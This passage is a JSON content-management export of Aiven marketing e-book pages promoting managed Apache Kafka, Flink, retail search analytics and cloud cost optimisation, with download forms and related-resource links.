assistance?"}],"markDefs":[],"style":"normal"},{"_key":"3eaab278fbae","_type":"block","children":[{"_key":"5ab102af8c950","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Total cost of ownership (TCO)"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c62902923667","_type":"block","children":[{"_key":"ac10bea53e6d0","_type":"span","marks":[],"text":"You can download and start using Apache Kafka"},{"_key":"2e4b295438d8","_type":"span","marks":["strong"],"text":"®️"},{"_key":"8310b1d0d572","_type":"span","marks":[],"text":", however, it’s likely to stretch the skills of your data teams and take much longer than anticipated to get it running. "}],"markDefs":[],"style":"normal"},{"_key":"7e8063dd761a","_type":"block","children":[{"_key":"dd10b041a650","_type":"span","marks":[],"text":"Important considerations for your self-managed or fully-managed decision include:"}],"markDefs":[],"style":"normal"}],"title":"Self-Managed or Managed: Which is Right for You?","topOverlap":false},{"_key":"f115c8c2c8ac","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"#First name*","title":"Download ebook"},"roundedCorners":"rounded-none","subtitle":[{"_key":"846312164e62","_type":"block","children":[{"_key":"6d753cbee4340","_type":"span","marks":[],"text":"Bringing in an experienced vendor is the way to go. Aiven can add immediate skills, shorten deployment timelines, mitigate operational burden, reduce technical risk, and lower your total cost of ownership."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"0d1664f6e1bc","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"987c439ee065","_ref":"cc4f0933-3886-4d61-9088-1fff64981736","_type":"report"},{"_key":"ad310a2fea6a","_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"caseStudy"},{"_key":"6b1a9e852bd6","_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"caseStudy"},{"_key":"614a89b74191","_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"caseStudy"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources","topOverlap":false}],"contentIsGated":true,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-21/ty549","title":"Download the ebook"},"registrationType":"iframe","subtitle":[{"_key":"7edd412ed5bb","_type":"block","children":[{"_key":"ef464dc36f340","_type":"span","marks":[],"text":"In today’s fast-paced world, capturing, processing, and acting on data is critical for businesses to stay alive. Leading businesses capture, process, and act upon massive amounts of data in real time."}],"markDefs":[],"style":"normal"},{"_key":"7865694b5937","_type":"block","children":[{"_key":"00a1738a40f50","_type":"span","marks":[],"text":"Learn about event streaming, data streaming, Apache Kafka®️, Apache Flink®️, and much more."}],"markDefs":[],"style":"normal"},{"_key":"3260ee0dbc5d","_type":"block","children":[{"_key":"379f3cca5f600","_type":"span","marks":[],"text":"Find out how streaming technologies play a vital role in common uses cases, including:"}],"markDefs":[],"style":"normal"},{"_key":"b890721abc23","_type":"block","children":[{"_key":"315e7513f6850","_type":"span","marks":[],"text":"Event-driven architectures (EDA)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8577bc315892","_type":"block","children":[{"_key":"ac2be3f6e65e0","_type":"span","marks":[],"text":"Data warehouse modernization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3a87180a05c9","_type":"block","children":[{"_key":"aeea236795200","_type":"span","marks":[],"text":"Data lake modernization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"690a884f8fac","_type":"block","children":[{"_key":"e346c9d827770","_type":"span","marks":[],"text":"Streaming analytics"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"473130ba5d7e","_type":"block","children":[{"_key":"a9fa97a8529f0","_type":"span","marks":[],"text":"Multi-cloud strategies"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e9f474a3252","_type":"block","children":[{"_key":"4f95c90f95f60","_type":"span","marks":[],"text":"AI/ML applications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"In this e-book, we share our insights on why you need to get in tune with real-time data.","thankyouContent":[{"_key":"ec9690d817b3","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Streaming ebook thumbnail with title","asset":{"_ref":"image-dac832e4988d6431266062d3a0b713019cc7847e-1200x630-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/real-time-data-for-real-time-business","title":"Download now"},"roundedCorners":"rounded-none","text":[{"_key":"c60eaaa3a7d1","_type":"block","children":[{"_key":"4c9fafbe32e8","_type":"span","marks":[],"text":"You can download the ebook "},{"_key":"60c9998ad701","_type":"span","marks":["strong"],"text":"Get Real – Real-time Data to Drive Real-time Business "},{"_key":"db2eb56bd0ee","_type":"span","marks":[],"text":"by clicking the 'Download ebook' button below. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest!","topOverlap":false,"variant":"mediaRight"}],"title":"Get Real: Real-time data to drive real-time business"},"publishedAt":"2024-05-20T19:22:58.425Z","resourceTag":{"contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"bab11710cf97","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"4edc373eb551","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"2b71a943b1a2","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"dc86cc0db825","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"It’s no longer about simply being data driven. You now need to be real-time data driven to satisfy customer expectations and stay ahead of competition.","metaImage":{"_type":"mainImage","alt":"Streaming ebook thumbnail with title","asset":{"_ref":"image-dac832e4988d6431266062d3a0b713019cc7847e-1200x630-png","_type":"reference"}},"metaTitle":"Get Real – Real-time Data to Drive Real-time Business"},"slug":{"_type":"slug","current":"/ebook/real-time-data-to-drive-real-time-business"}} {"__i18n_lang":"en","_createdAt":"2024-04-24T06:02:34Z","_id":"894ceb68-d95c-4b1f-9016-1081ee820b01","_rev":"2rELLQTW1ADhr05h4NFrzu","_type":"ebook","_updatedAt":"2024-06-19T15:36:12Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"d1fab098821c","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"4376dd8fcfa7","_type":"numberItem","description":[{"_key":"7a93e5316b6b","_type":"block","children":[{"_key":"eb41c864015e0","_type":"span","marks":[],"text":"of shoppers view a brand differently after a poor search experience"}],"markDefs":[],"style":"normal"}],"number":"78%"},{"_key":"5578dd057718","_type":"numberItem","description":[{"_key":"53858557eb12","_type":"block","children":[{"_key":"ffbb1ebc8c5a0","_type":"span","marks":[],"text":"avoid websites where they have had previous search difficulties"}],"markDefs":[],"style":"normal"}],"number":"82%"},{"_key":"03383176982c","_type":"numberItem","description":[{"_key":"03d73dfc1506","_type":"block","children":[{"_key":"c5a713cac49a0","_type":"span","marks":[],"text":"purchased the item they were searching for with a good search experience"}],"markDefs":[],"style":"normal"}],"number":"92%"},{"_key":"806bdb0986e3","_type":"numberItem","description":[{"_key":"2b2692777862","_type":"block","children":[{"_key":"d9190236f5da0","_type":"span","marks":[],"text":"also buy at least one other item"}],"markDefs":[],"style":"normal"}],"number":"78%"}],"roundedCorners":"rounded-none","subtitle":[{"_key":"140e526927ff","_type":"block","children":[{"_key":"7d585204ed0a0","_type":"span","marks":[],"text":"When shoppers find what they want via search, they are more likely to buy"}],"markDefs":[],"style":"normal"}],"title":"Bad search vs. good search","topOverlap":false},{"_key":"718f1edc41eb","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"It’s not just search - it’s actionable insight","asset":{"_ref":"image-c30d87f2f9aa208e01544ebaa1016df01372ed02-1126x426-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#First name","title":"Download e-book"},"roundedCorners":"rounded-none","text":[{"_key":"5891c804fe35","_type":"block","children":[{"_key":"a85fc5906a92","_type":"span","marks":[],"text":"Streaming services like Aiven for Apache Kafka and Aiven for Apache Flink write data about each search to an analytics system."}],"markDefs":[],"style":"normal"}],"title":"It’s not just search - It’s actionable insight","variant":"mediaCenter"},{"_key":"31f87f67b10f","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"bb5f3adb9364","_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"caseStudy"},{"_key":"78798b289982","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/solutions/aiven-for-retail","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-1c1243010a189ae050219af84e861ec9d0b8cf9d-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"393333c05e84","_type":"block","children":[{"_key":"22d159c812190","_type":"span","marks":[],"text":"Retail comes in many shapes and sizes – from brick and mortar stores to global eCommerce. Aiven’s flexible solutions can adapt to suit any situation and budget."}],"markDefs":[],"style":"normal"}],"tagline":"Solutions","title":"Aiven Retail Solutions","variant":"default"},{"_key":"ec5f8c7b3274","_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources","topOverlap":false}],"contentIsGated":true,"downloadLink":"https://go.aiven.io/retailers-ebook","downloadText":"Download ebook","image":{"_type":"mainImage","alt":"E-book cover with title"},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-08/twvyq","title":"Download ebook"},"registrationType":"iframe","subtitle":[{"_key":"cb84f9efbd3f","_type":"block","children":[{"_key":"419df6c2eded","_type":"span","marks":[],"text":"Today’s retail journeys are characterized by their complexity and timeliness. They combine people, technology, places, and products in different ways — with each component constantly changing. "}],"markDefs":[{"_key":"3261649efd6f","_type":"link","href":"https://go.aiven.io/Aiven_AWS_Transformation_ebook"}],"style":"normal"},{"_key":"6213673c16ae","_type":"block","children":[{"_key":"677c905081ad","_type":"span","marks":[],"text":"Master the intricacies of modern retail with our ebook and become more customer-centric.\n\nWe'll cover:"}],"markDefs":[],"style":"normal"},{"_key":"39e545d5ce09","_type":"block","children":[{"_key":"033466bfb3340","_type":"span","marks":["strong"],"text":"Retail is in the detail:"},{"_key":"4113d612cae0","_type":"span","marks":[],"text":" For shoppers, it’s the details and timely, accurate data that matter"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"774159ab2041","_type":"block","children":[{"_key":"bc0a0ea71cda0","_type":"span","marks":["strong"],"text":"Real-time data processing"},{"_key":"2157ace0bcde","_type":"span","marks":[],"text":": Processing data right now, not tomorrow morning"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"304396f28ab5","_type":"block","children":[{"_key":"0862c74c37950","_type":"span","marks":["strong"],"text":"Transforming search and discovery with AI:"},{"_key":"78978d09f9b4","_type":"span","marks":[],"text":" Help customers find what they want"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"944beabdde66","_type":"block","children":[{"_key":"d4ff73e071960","_type":"span","marks":["strong"],"text":"Performance:"},{"_key":"dd0a7adb2b42","_type":"span","marks":[],"text":" Keep your online store running at its best to meet today's shoppers’ expectations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"934714efcb94","_type":"block","children":[{"_key":"0491e907d8c7","_type":"span","marks":["strong"],"text":"Experience: "},{"_key":"19b2046079f0","_type":"span","marks":[],"text":"Get versatile, reliable, and cost-effective way to build the data services that make a tangible difference to the customer experience."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Master the intricacies of modern retail with our ebook. From real-time data processing to AI-powered search, optimize performance for customer-centric success.","thankyouContent":[{"_key":"4aaa2336cc7a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4-1117x626-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/l/890043/2024-04-24/tvh2m/890043/1713937826N51T5GRj/Aiven_Google_Retailers_eBook.pdf","title":"Download now"},"roundedCorners":"rounded-none","text":[{"_key":"49195ee4d0a4","_type":"block","children":[{"_key":"dddd223f8234","_type":"span","marks":[],"text":"You can download the ebook "},{"_key":"32f6e0baf230","_type":"span","marks":["strong"],"text":"Transforming shopping experiences through better data "},{"_key":"88d2c86da3b6","_type":"span","marks":[],"text":"by clicking the 'Download ebook' button below. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest!","topOverlap":false,"variant":"mediaRight"}],"title":"Transforming shopping experiences through better data"},"publishedAt":"2024-01-17T11:51:35.097Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"57703e4460f0","_ref":"86a640f2-259e-47d5-81c5-df4f55a1fac8","_type":"tag"},{"_key":"69652a2a7acc","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"},{"_key":"867fa812abde","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn how successful companies use a managed cloud data platform to innovate and beat competition. Gain insights into your own organization's transformation.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4-1117x626-png","_type":"reference"}},"metaTitle":"A managed cloud data platform for all industries"},"slug":{"_type":"slug","current":"/ebook/transforming-shopping-experiences-through-better-data"}} {"__i18n_lang":"en","_createdAt":"2024-09-24T08:06:14Z","_id":"ee1484d9-7364-42de-b1d8-153cd33a3ff3","_rev":"tbfifT6DwZibVMS7hlQJud","_type":"ebook","_updatedAt":"2024-09-26T08:50:04Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"31f87f67b10f","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"943d739f1f66","_ref":"cc4f0933-3886-4d61-9088-1fff64981736","_type":"report"},{"_key":"def4bb0404ee","_ref":"072fbfe2-007b-47a3-b574-d4cc8be52fdb","_type":"ebook"},{"_key":"0287fd6e28af","_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"caseStudy"},{"_key":"fa3f69b641cd","_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"caseStudy"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources","topOverlap":false}],"contentIsGated":true,"downloadLink":"https://go.aiven.io/retailers-ebook","downloadText":"Download ebook","image":{"_type":"mainImage","alt":"E-book cover with title"},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-09-26/vgz34","title":"Download checklist"},"registrationType":"iframe","subtitle":[{"_key":"f1b05442305b","_type":"block","children":[{"_key":"5c4f706416e80","_type":"span","marks":["strong"],"text":"Embarking on your Apache Kafka journey?"},{"_key":"5c4f706416e81","_type":"span","marks":[],"text":" The choice between self-managing or opting for a managed service is crucial."}],"markDefs":[],"style":"normal"},{"_key":"63664c245fc5","_type":"block","children":[{"_key":"63d86003c2df0","_type":"span","marks":[],"text":"In today’s fast-paced world, leading organizations need to be real-time data driven to satisfy customer expectations and stay ahead of the competition. Apache Kafka® is the standard for data streaming and event-driven architectures, but managing it effectively comes with its own set of challenges."}],"markDefs":[],"style":"normal"},{"_key":"70451dfeebd8","_type":"block","children":[{"_key":"e4c26be8a0ad0","_type":"span","marks":["strong"],"text":"Download our free e-book and get three handy checklists to guide your decision:"}],"markDefs":[],"style":"normal"},{"_key":"55547986fbb6","_type":"block","children":[{"_key":"e8d9e9d3a6860","_type":"span","marks":["strong"],"text":"Up-front planning:"},{"_key":"e8d9e9d3a6861","_type":"span","marks":[],"text":" Discover the crucial high-level tasks involved in planning and then determine whether you have the capabilities required for tasks such as systems integration, security \u0026 compliance, capacity planning, and high availability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8fce1ffe7b32","_type":"block","children":[{"_key":"91fb5e3d3cd20","_type":"span","marks":["strong"],"text":"Operational management:"},{"_key":"91fb5e3d3cd21","_type":"span","marks":[],"text":" Learn about the operational checklist required for fine-tuning Kafka in production, such as performance optimization, scaling, and partition management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f787a212537","_type":"block","children":[{"_key":"870e2848cee30","_type":"span","marks":["strong"],"text":"Time-to-market:"},{"_key":"870e2848cee31","_type":"span","marks":[],"text":" Assess if you have the knowledge and skills to efficiently and cost-effectively run the many highly configurable options available in Apache Kafka."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0961784a6fcd","_type":"block","children":[{"_key":"09761b9484950","_type":"span","marks":[],"text":"If your answers point you twards using a managed service provider, like Aiven, for deploying Apache Kafka and adjacent components, you can gain significant advantages in terms of expertise, cost efficiency, scalability, security, and operational efficiency. This enables you to focus on your core business while ensuring a successful Kafka implementation."}],"markDefs":[],"style":"normal"},{"_key":"ee8b66d99abc","_type":"block","children":[{"_key":"8c6ed4ce388a0","_type":"span","marks":["strong"],"text":"Download your free copy now and make the right Kafka choice for your organization!"}],"markDefs":[],"style":"normal"}],"summary":"A comprehensive checklist to determine whether self-managing Apache Kafka or going with a managed provider is best for you.","title":"Checklist for Managed vs. Self-Managed Apache Kafka® "},"publishedAt":"2024-09-26T08:49:57.505Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"a7d980e36de8","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e9cf0352e523","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"015b95d0c460","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"8f5ac039e811","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Download your free copy now and make the right Kafka choice for your organization.","metaImage":{"_type":"mainImage","alt":"Apache Kafka Decision-Making Guide","asset":{"_ref":"image-230887bef7fe102e46fc83ddaac222f1a99633a7-1200x630-png","_type":"reference"}},"metaTitle":"Checklist for Managed vs. Self-Managed Apache Kafka®"},"slug":{"_type":"slug","current":"/ebook/checklist-for-managed-vs-self-managed-apache-kafka"}} {"__i18n_lang":"en","_createdAt":"2022-12-19T13:01:26Z","_id":"8c15dfca-a298-4f5c-8d06-a0b5a38be295","_rev":"6bYZdDBH1WRdHtSvjHHjXJ","_type":"ebook","_updatedAt":"2024-06-19T15:37:20Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"718f1edc41eb","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven and AWS reference architecture","asset":{"_ref":"image-c9c875723934f5d88f8a8933df566b6e11cf641b-5000x2617-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","title":"Download e-book"},"roundedCorners":"rounded-none","text":[{"_key":"5891c804fe35","_type":"block","children":[{"_key":"510b74fcc80c","_type":"span","marks":["e4eb67030ee3"],"text":"Download the e-book"},{"_key":"20340a87811a","_type":"span","marks":[],"text":" and read more."}],"markDefs":[{"_key":"e4eb67030ee3","_type":"link","href":"https://go.aiven.io/Aiven_AWS_Transformation_ebook"}],"style":"normal"}],"title":"How the Aiven Platform and AWS tools transform search applications through GenAI enhancements","variant":"mediaCenter"},{"_key":"8160ff099b9d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"57ec562d2008","_ref":"a988347e-78a9-4d62-93df-2e7d9d398191","_type":"report"},{"_key":"16709bef674a","_ref":"85e42fc8-262f-4764-870f-ba6a5426df69","_type":"webinar"},{"_key":"9883ce0eb293","_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/Aiven_AWS_Transformation_ebook","downloadText":"Download e-book","image":{"_type":"mainImage","alt":"E-book cover with title","asset":{"_ref":"image-cd12b50604e9ed431920da479c8bab33cb3db105-2500x2500-png","_type":"reference"}},"registerForm":{"iframeHeight":820,"iframeSource":"https://go.aiven.io/l/890043/2022-11-10/llgsq","iframeTitle":"Ebook how a cloud data platform can drive transformation in your business","title":"Get a download link to this ebook direct to your inbox"},"subtitle":[{"_key":"97992a151bcc","_type":"block","children":[{"_key":"6d622fddf5440","_type":"span","marks":[],"text":"In "},{"_key":"367083598c13","_type":"span","marks":["3261649efd6f"],"text":"this ebook"},{"_key":"3e3d49f8910b","_type":"span","marks":[],"text":", you will explore how successful companies from a range of industries use a cloud-based, open data platform to drive innovation and business transformation. Download this ebook now to gain insights into how your organization can accelerate its journey to a robust data strategy and make the transformation leap."}],"markDefs":[{"_key":"3261649efd6f","_type":"link","href":"https://go.aiven.io/Aiven_AWS_Transformation_ebook"}],"style":"normal"},{"_key":"5cfd6400fd7c","_type":"block","children":[{"_key":"3b20cbaa069e","_type":"span","marks":[],"text":"\nUncover insights from the success stories of industry leaders:\n"}],"markDefs":[],"style":"normal"},{"_key":"39e545d5ce09","_type":"block","children":[{"_key":"033466bfb3340","_type":"span","marks":["strong"],"text":"Retail:"},{"_key":"4113d612cae0","_type":"span","marks":[],"text":" From fast food to quick commerce, featuring Wolt"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"774159ab2041","_type":"block","children":[{"_key":"bc0a0ea71cda0","_type":"span","marks":["strong"],"text":"Consumer Services"},{"_key":"a313fa5f951c","_type":"span","marks":[],"text":": Creating transparency in the online marketplace, starring Idealo"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"304396f28ab5","_type":"block","children":[{"_key":"0862c74c37950","_type":"span","marks":["strong"],"text":"High-Tech"},{"_key":"1ce0459693db","_type":"span","marks":[],"text":": Network monitoring through constant change, featuring NetSpyGlass"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"944beabdde66","_type":"block","children":[{"_key":"d4ff73e071960","_type":"span","marks":["strong"],"text":"Manufacturing:"},{"_key":"dd0a7adb2b42","_type":"span","marks":[],"text":" Innovation in IoT, starring Everactive"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4362b3743125","_type":"block","children":[{"_key":"8aadc761b6e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"In this e-book, you will explore how successful companies from a range of industries use a managed data platform to solve their business and technical challenges, as well as innovate and beat the competition.","title":"How an Open Source Cloud Data Platform Drives Transformation"},"publishedAt":"2024-01-17T11:51:35.097Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"7a949bc709e3","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"53031b1fb781","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Learn how successful companies use a managed cloud data platform to innovate and beat competition. Gain insights into your own organization's transformation.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4b28092cc966310e3480d6399d68bcacd57f5afe-1921x1080-png","_type":"reference"}},"metaTitle":"A managed cloud data platform for all industries"},"slug":{"_type":"slug","current":"/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business"}} {"__i18n_lang":"en","_createdAt":"2023-09-11T15:12:12Z","_id":"d4aba9c4-15b5-481b-8491-1f92393e7fb3","_rev":"E2EqFgH2t2FE0P1F1szvlF","_type":"ebook","_updatedAt":"2024-02-27T19:46:19Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"downloadLink":"https://go.aiven.io/transformation_with_cloud_data_platform_ebook","downloadText":"Download ebook","registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-09-10/szsjc","title":"Download now to learn how you can start ensuring optimal usage of your cloud resources"},"registrationType":"iframe","subtitle":[{"_key":"7ea1f7b8addf","_type":"block","children":[{"_key":"f92a0c739834","_type":"span","marks":[],"text":"Managing cloud costs is a puzzle many organizations struggle to solve. Optimizing your cloud deployment isn’t a ‘one-time thing’ you can implement in a day or a week and be done with it. Strategies for optimizing your cloud infrastructure costs can range from tactical and easily executed in a matter of days to those that are more strategic and continuous and ultimately support the organization’s bottom line."}],"markDefs":[],"style":"normal"},{"_key":"4d435c7d18ce","_type":"block","children":[{"_key":"bef42b884de9","_type":"span","marks":[],"text":"Download “7 Ways to Optimize Your Cloud Infrastructure Costs” to learn how you can start ensuring optimal usage of your cloud resources with:"}],"markDefs":[],"style":"normal"},{"_key":"b0ebe1728d38","_type":"block","children":[{"_key":"064fef4c0957","_type":"span","marks":["strong"],"text":"Quick Wins "},{"_key":"2900f5e4252b","_type":"span","marks":[],"text":"to optimize your spending levels"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57a3e62efd49","_type":"block","children":[{"_key":"7ba9b8173b26","_type":"span","marks":["strong"],"text":"Mid-term considerations "},{"_key":"5a41b24bd35e","_type":"span","marks":[],"text":"for architecture \u0026 tech stack of organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d581dab82255","_type":"block","children":[{"_key":"916c7f6dd37e","_type":"span","marks":["strong"],"text":"Long-term strategies "},{"_key":"e78d01d24558","_type":"span","marks":[],"text":"for sustainable operation of your technology team"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Download “7 Ways to Optimize Your Cloud Infrastructure Costs” to learn how you can start ensuring optimal usage of your cloud resources.","thankyouContent":[{"_key":"e98a51eb3f42","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/l/890043/2023-09-10/szskc/890043/1694365915TdFJaZic/7_ways_to_optimize_your_cloud_infra_costs.pdf","title":"Download ebook"},"rounded":false,"subtitle":[{"_key":"f7d86ac83e1d","_type":"block","children":[{"_key":"43e8163a0ae4","_type":"span","marks":[],"text":"You can download the ebook "},{"_key":"3aacb7080abf","_type":"span","marks":["strong"],"text":"7 ways to optimize your cloud infrastructure costs "},{"_key":"f694aec247a6","_type":"span","marks":[],"text":"by clicking the 'Download ebook' button below. We hope you enjoy the read!"}],"markDefs":[],"style":"normal"},{"_key":"f8f237e61640","_type":"block","children":[{"_key":"9b55136983560","_type":"span","marks":[],"text":"While you're here, perhaps you'd like to take a high-level look at "},{"_key":"8635ced3042b","_type":"span","marks":["bf7442e1b99f"],"text":"the different ways Aiven solutions can benefit tech leaders to thrive"},{"_key":"b3eb3cad716c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"bf7442e1b99f","_type":"internalLink","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"}}],"style":"normal"},{"_key":"b38568424a94","_type":"block","children":[{"_key":"94a047458c050","_type":"span","marks":[],"text":"The world is changing, faster and faster every day. The challenges faced together are challenges overcome together. 